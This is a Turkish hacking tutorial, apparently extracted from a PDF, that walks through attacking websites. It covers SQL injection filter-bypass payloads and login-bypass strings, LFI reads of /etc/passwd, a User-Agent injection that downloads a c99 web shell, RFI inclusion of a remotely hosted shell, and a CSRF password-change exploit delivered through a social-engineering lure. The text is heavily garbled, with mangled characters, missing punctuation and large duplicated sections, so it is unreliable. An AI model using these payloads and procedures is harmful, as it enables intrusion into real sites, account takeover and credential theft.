wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 32: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

